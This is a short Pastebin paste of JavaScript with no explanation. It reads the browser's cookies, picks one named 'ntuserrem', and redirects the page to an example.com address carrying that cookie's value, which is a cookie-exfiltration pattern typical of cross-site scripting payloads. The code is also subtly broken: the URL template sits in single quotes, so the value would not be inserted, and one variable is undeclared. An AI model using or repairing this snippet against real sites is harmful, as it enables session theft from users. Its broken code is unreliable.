Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function getCookie(name) {
- var cookie, c;
- cookies = document.cookie.split(';');
- for (var i=0; i < cookies.length; i++) {
- c = cookies[i].split('=');
- if (c[0] == name) {
- document.location = 'https://example.com/${c[1]}';
- return c[1];}
- }
- return "";
- }
- console.log(getCookie("ntuserrem"));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement